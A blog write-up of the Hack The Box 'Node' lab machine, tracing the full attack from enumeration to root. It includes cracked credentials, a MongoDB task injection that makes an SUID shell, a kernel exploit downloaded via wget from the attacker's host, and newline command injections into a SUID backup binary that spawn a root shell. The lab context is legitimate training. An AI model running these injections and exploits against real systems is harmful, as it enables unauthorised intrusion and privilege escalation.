Hack The Box: Node Write-up (#11)

Joshua Surendran
12 min readAug 24, 2020

--

Reconnaissance

Let’s run a full TCP scan.

nmap -sC -sV -O -p- -oA nmap/full 10.10.10.58
  • -sC: Default Nmap script
  • -sV: Service/version info
  • -O: Enable OS detection
  • -oA: Output scan results in 3 different formats
  • -p-: Scan all ports from 1–65535

We get the back the following result:

  • Port 22: — Running OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
  • Port 3000: — Running Apache Hadoop
Nmap scan report for 10.10.10.58
Host is up (0.22s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open hadoop-datanode Apache Hadoop
| hadoop-datanode-info:
|_ Logs: /login
| hadoop-tasktracker-info:
|_ Logs: /login
|_http-title: MyPlace
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 - 4.6 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%), Linux 4.4 (92%), Linux 4.8 (92%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 23 09:04:05 2020 -- 1 IP address (1 host up) scanned in 272.61 seconds

While I get initial access to this box, the UDP scan was still running. So I didn’t provide the result for this box.

Quick mental notes:

  1. Port 22, OpenSSH 7.2p2 do not have known vulnerability to get initial access to the box. So we don’t spend time to enumerate this service.
  2. Port 3000, Apache Hadoop which is accessible via the browser. Likely this will be our initial foothold to get access to this box. We need to enumerate as much as we can to find sensitive info.

Service Enumeration

Port 3000 (hadoop-datanode) Apache Hadoop

First, configure the target URL in the Burp Proxy. Go to Target > Scope. Under ‘Include in Scope’ section, click add and type or copy and paste the URL. Then click OK.

Configure Scope

Why are we doing this? When we are accessing or brute-forcing web directory the Burp Proxy will record all that we or automated tool visited resources under Site Map tab. In this way, we can get back here and enumerate further.

Now, visit the page.

Default page

Click Login and we have a login page.

Login page

Check “View-Page-Source”.

View-Page-Source

This page using quite many Java scripts. It is worth to check each of them to find out any hidden paths. After reviewing those files, app.js and admin.js files have more paths.

app.js
admin.js

If we access to the /api/admin/backup, it has a ‘download backup’ button. But only the admin user can download.

Download backup file

Let’s do a web directory brute-forcing. For this, I used dirsearch since gobuster is not working for this site. Run below command.

python3 /opt/dirsearch/dirsearch.py -u http://10.10.10.58:3000/ -e txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

We get back the following results.

...SNIP...
[11:15:05] Starting:
[11:15:11] 301 - 173B - /uploads -> /uploads/
[11:15:14] 301 - 171B - /assets -> /assets/
[11:15:44] 301 - 171B - /vendor -> /vendor/

When I accessed to all the 3 directories it redirects to me index.html page. So nothing I can find here.

Let’s go back to the Burp Proxy. After viewing the files and response tab, I found user credentials under /api/users/.

User credentials

Visit the page from the browser.

User credentials

Great. We have an admin user “myP14ceAdm1nAcc0uNT” and other users. all passwords are hashed. We need to find the correct hash type and decode it. Many online sites can help to guess the hash type even decode hashes for you. One of the sites I love to use is https://hashes.com/. Now copy and paste all the hashes into the hashes box. Tick “Show algorithm of found” and then click SUBMIT & SEARCH.

Hashes

We get back the following results.

Decoded hashes

Based on the output, SHA-256 was used to hash the passwords and the plain text passwords are recovered. Let’s update what we found.

myP14ceAdm1nAcc0uNT:manchester
mark:snowflake
tom:spongebob

Next, we know that only the admin user can download the backup file. So let use admin credentials to login and download the backup file.

Admin page

Click Download Backup.

Backup file

Save the file. Check the downloaded file type with file command.

file myplace.backup

We get the following results.

root@kali:/htb/Node# file myplace.backup 
myplace.backup: ASCII text, with very long lines, with no line terminators

Further checking the file with strings command to see any hidden information, revealed it is base64 encoded strings.

strings myplace.backup

Let’s decode this file.

cat myplace.backup | base64 -d > backup
  • -d: — decode

Check the file type.

root@kali:/htb/Node# file backup 
backup: Zip archive data, at least v1.0 to extract

Now we have a zipped file. Let’s unzip it with zip utility.

Unzip file

It prompts us to enter a password. Let’s try to crack it using fcrackzip.

fcrackzip

We got the password. Use it to unzip the backup file.

Unzipped folder

We got the var directory. Let’s enumerate for sensitive info like passwords and usernames using grep utility.

grep -Ri 'mark\|tom\|rastating\|password' * | head
  • -R: — Dereference-recursive
  • -i: — Ignore-case
  • head: — Display first 10 lines

We get a MongoDB credential.

Mark password

Based on the results above, this credential belongs to user mark and access to MongoDB from localhost.

Exploitation/ or Just Login

Let’s try to SSH to this box with this credential.

ssh mark@10.10.10.58

Enter password 5AYRft73VtFpc84k.

Initial shell

The credential works. We got initial shell into the box in the context of user mark.

Post-Exploitation Enumeration

Download and execute linux-smart-enumeration script in the target box.

./lse -l 1 -i
  • -l: — Output verbosity level
  • -i: — Non-interactive mode

We get back the following result.

lse.sh results

From the above result, tom and root are members of the admin group. So we might need to escalate privilege to tom and enumerate further. Let’s continue next result.

Non-root user running processes

Tom is running two jobs. One is under scheduler directory and other is under myplace directory. Next, check listening services.

Listening Service

We can confirm that MongoDB is running in localhost with default port 27017. The last interesting info is setuid binary file.

setuid binaries

We will check this file in privilege escalation phase.

Let’s check the 2 files running by user tom. First check /var/scheduler/app.js.

mark@node:/tmp$ cat /var/scheduler/app.js
const exec = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';
MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}
setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
}
else if (error) {
console.log('Something went wrong: ' + error);
}
});
}, 30000);
});

We have mark credentials to access MongoDB scheduler.

Explanation of the code:

  1. setInterval() function checks rows(doc) in table (collection) called ‘task’ for configured jobs.
  2. If no errors and job is configured in a row, execute that job that is configured with ‘cmd’ variable.
  3. After execute, clear the row.

With this information, we can create a bash file with the owner of the file tom and SUID bit set on to escalate privilege to tom.

Next, check /var/www/myplace/app.js.

mark@node:/tmp$ cat /var/www/myplace/app.jsconst express     = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const crypto = require('crypto');
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const path = require("path");
const spawn = require('child_process').spawn;
const app = express();
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
...SNIP...app.get('/api/admin/backup', function (req, res) {
if (req.session.user && req.session.user.is_admin) {
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
var backup = '';
...SNIP...

The interesting part is the /usr/local/bin/backup. This backup binary takes 3 arguments.

  • -q
  • backup_key
  • _dirname: — directory name

With these arguments, it performs a backup of the given directory. We will test this in privilege escalation phase.

Privilege Escalation

Let’s login into DB.

mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
  • -u: — username
  • -p: — password

Once successfully login into MongoDB. Type below commands.

#This to verify current database name
> db
scheduler
#This to list tables under scheduler database
> show collections
tasks
#find active jobs under tasks
> db.tasks.find()
#Insert privilege shell command
> db.tasks.insert({cmd: "cp /bin/bash /tmp/tombash; chown tom:admin /tmp/tombash;chmod +s /tmp/tombash"})
WriteResult({ "nInserted" : 1 })
#Verify job is inserted
> db.tasks.find()
{ "_id" : ObjectId("5f426e9c8bce65cf17bff1c1"), "cmd" : "cp /bin/bash /tmp/tombash; chown tom:admin /tmp/tombash;chmod +s /tmp/tombash" }
#Verify again job is executed. If executed, no output will display
> db.tasks.find()

Now the job is successfully executed. Under the /tmp directory you can find tombash file created with SUID bit set on and owner of the file is tom.

tombash

Let’s execute tombash.

We have successfully escalated our first privilege to tom.

Let’s review the enumerated result again.

setuid binaries

This /usr/local/bin/backup is familiar to us. We found earlier which is running by user tom through app.js script. Let’s check this file.

tombash-4.3$ ls -l /usr/local/bin/backup 
-rwsr-xr-- 1 root admin 16484 Sep 3 2017 /usr/local/bin/backup

It is confirmed the SUID bit is on and the owner of the file is root. Only user tom can execute this file. Let’s test this file.

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp

We get long base64 encoded strings. Run again by redirecting the output to a file.

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp > base64encode.txt

Decode the file.

tombash-4.3$ cat base64encode.txt | base64 -d > decode-base64

Check the file type.

tombash-4.3$ file decode-base64 
decode-base64: Zip archive data, at least v1.0 to extract

It is a zip file format. Let unzip the file. When prompt for a password, type the same password we used to unzip backup file “magicword”.

tombash-4.3$ unzip decode-base64 
Archive: decode-base64
creating: tmp/
creating: tmp/.Test-unix/
creating: tmp/.XIM-unix/
[decode-base64] tmp/libc.c password:
inflating: tmp/libc.c
inflating: tmp/libc.so.6
inflating: tmp/tombash
creating: tmp/vmware-root/
inflating: tmp/lse.sh
creating: tmp/systemd-private-1535906bfa154e6180e211ab25f0362e-systemd-timesyncd.service-Tjhdhl/
creating: tmp/systemd-private-1535906bfa154e6180e211ab25f0362e-systemd-timesyncd.service-Tjhdhl/tmp/
inflating: tmp/shell
creating: tmp/.X11-unix/
inflating: tmp/linux-smart-enum.txt
creating: tmp/.ICE-unix/
creating: tmp/.font-unix/
extracting: tmp/base64encode.txt

Alright, it just zips the given directory and unzips the zipped file to the same directory structure. Now, let’s try to zip the /root directory.

tombash-4.3$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root

We get the following results base64 strings.

[+] Finished! Encoded backup is below:

UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==

Repeat the above step, decode and unzip the file.

tombash-4.3$ unzip rootdecoded                                                                                                  
Archive: rootdecoded
skipping: root.txt need PK compat. v5.1 (can do v4.6)

This time, we need 7z to unzip the file. So I need to copy the base64 encoded strings to my Kali and unzip.

echo -n "<base64 encoded string here>" | base64 -d > rootdecodedroot@kali:/htb/Node# 7z x rootdecoded

Check the content of the file.

Troll face

We got a Troll face. This could be intended not to let us easily get the root.txt file. This time, I have created a file *r00t under /tmp/. Let’s try backup this.

tombash-4.3$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp/*r00t
UEsDBBQACQAIACMfGFGIJDQmgwAAAMIAAAAJABwAdG1wLypyMDB0VVQJAAOBLENfrC5DX3V4CwABBOgDAAAE6gMAAFCjVd0/HsNLncXq/NGncl9BnD7o1hRD1xAkgZAKzUr+g3rzx4GqpUC4vpM512ELvBRZXurbffveULdJ50SgWH61D0jjFBzwcWfK5llgcR5cFbHr8FZkFHWFQ1ElpPnt8nHiV4fef3YSgLnpY864Llzi9oRFZIYT+6MQmCcnT+pxUKIRUEsHCIgkNCaDAAAAwgAAAFBLAQIeAxQACQAIACMfGFGIJDQmgwAAAMIAAAAJABgAAAAAAAAAAAD9gQAAAAB0bXAvKnIwMHRVVAUAA4EsQ191eAsAAQToAwAABOoDAABQSwUGAAAAAAEAAQBPAAAA1gAAAAAA
tombash-4.3$ file output
output: Zip archive data, at least v2.0 to extract
tombash-4.3$ unzip output
Archive: output
[output] tmp/*r00t password:
inflating: tmp/*r00t

This time the output of base64 encoded string length is not so long as we did for /root directory. Also, the extracted output exact directory structure. Let’s try a few more options.

Backup /r**t/r**t.txt.

tombash-4.3$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt
UEsDBAoACQAAANR9I0vyjjdALQAAACEAAAANABwAcm9vdC9yb290LnR4dFVUCQAD0BWsWUoAy1l1eAsAAQQAAAAABAAAAAChWjbPz30EnJWMBZc8fs2UcNk5SsGJKmX6Cy38HLzUVqekfHynSz+WJdZ4wVtQSwcI8o43QC0AAAAhAAAAUEsBAh4DCgAJAAAA1H0jS/KON0AtAAAAIQAAAA0AGAAAAAAAAQAAAKCBAAAAAHJvb3Qvcm9vdC50eHRVVAUAA9AVrFl1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBTAAAAhAAAAAAA

Again we get the same length of base64 encoded strings. Let extract and see if we get the root.txt.

tombash-4.3$ echo -n "UEsDBAoACQAAANR9I0vyjjdALQAAACEAAAANABwAcm9vdC9yb290LnR4dFVUCQAD0BWsWUoAy1l1eAsAAQQAAAAABAAAAAChWjbPz30EnJWMBZc8fs2UcNk5SsGJKmX6Cy38HLzUVqekfHynSz+WJdZ4wVtQSwcI8o43QC0AAAAhAAAAUEsBAh4DCgAJAAAA1H0jS/KON0AtAAAAIQAAAA0AGAAAAAAAAQAAAKCBAAAAAHJvb3Qvcm9vdC50eHRVVAUAA9AVrFl1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBTAAAAhAAAAAAA" |base64 -d > secret                                                                                                                 
tombash-4.3$ file secret
secret: Zip archive data, at least v1.0 to extract
tombash-4.3$ unzip secret
Archive: secret
[secret] root/root.txt password:
extracting: root/root.txt

Nice. We can read the root.txt flag.

root.txt

Do the same for /home/tom/user.txt and we get the user.txt flag.

user.txt

Let’s analyst the backup binary file using strings command.

strings /usr/local/bin/backup

We get back the following results.

Strings analyse

We can see this backup binary using zip utility with 4 arguments.

  • -r: Travel the directory structure recursively.
  • -P: Password
  • %s: first string is the output in zip format
  • %s: second string is the input directory to zip.

Further analysis from the strings result above, /root and /etc seems like restricted to backup. As we did for /root if you test for /etc you will get a Troll face which I already had tried.

Privilege Escalation to Root

In this section, I used 3 methods to get a root shell. First is the kernel exploitation. I managed to exploit kernel vulnerability to get a root shell. But in a real-life penetration test, this must be the last resort when there are no other ways. Second and third is from ippsec video using command injection.

Let’s begin.

Method #1

Check kernel version in the target.

tombash-4.3$ uname -a
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

Check kernel exploits using linux-exploit-suggester-2.

root@kali:/opt/linux-exploit-suggester-2# ./linux-exploit-suggester-2.pl -k 4.4.0#############################
Linux Exploit Suggester 2
#############################
Local Kernel: 4.4.0
Searching 72 exploits...
Possible Exploits
[1] af_packet
CVE-2016-8655
Source: http://www.exploit-db.com/exploits/40871
[2] dirty_cow
CVE-2016-5195
Source: http://www.exploit-db.com/exploits/40616
[3] exploit_x
CVE-2018-14665
Source: http://www.exploit-db.com/exploits/45697
[4] get_rekt
CVE-2017-16695
Source: http://www.exploit-db.com/exploits/45010

Exploit #4 is my favourite and it always works for me. Download the exploit using searchsploit to Kali.

root@kali:/htb/Node# searchsploit -m 45010.c
Exploit: Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/45010
Path: /usr/share/exploitdb/exploits/linux/local/45010.c
File Type: C source, ASCII text, with CRLF line terminators
Copied to: /htb/Node/45010.croot@kali:/htb/Node# ls -l 45010.c
-rw-r--r-- 1 root root 13728 Aug 24 19:54 45010.c

Compile the exploit.

gcc -o exploit 45010.c

Transfer the exploit to target and give execute permission.

tombash-4.3$ wget http://10.10.14.9/exploit
--2020-08-24 13:01:35-- http://10.10.14.9/exploit
Connecting to 10.10.14.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 22280 (22K) [application/octet-stream]
Saving to: ‘exploit’
exploit 100%[===============================================>] 21.76K 95.9KB/s in 0.2s2020-08-24 13:01:35 (95.9 KB/s) - ‘exploit’ saved [22280/22280]tombash-4.3$ chmod +x exploit

Then execute it.

Rooted!

Method #2

Using newline character we can escalate privilege to root. Type below command.

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "test
> /bin/bash
> test"
Newline character to a root shell

We rooted again.

Method #3

Using newline character in printf function. Type below command.

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(printf 'test\n/bin/bash\ntest')"
printf function newline character to root shell

And again we rooted.

Attack Strategy Map

Strategy Map

Thank you for reading :-) Next box is Valentine.

--

--

Joshua Surendran
Joshua Surendran

Written by Joshua Surendran

I am a security enthusiast. Learning new things every day for a joy. I love ethical hacking. I am deeply loved by God.

No responses yet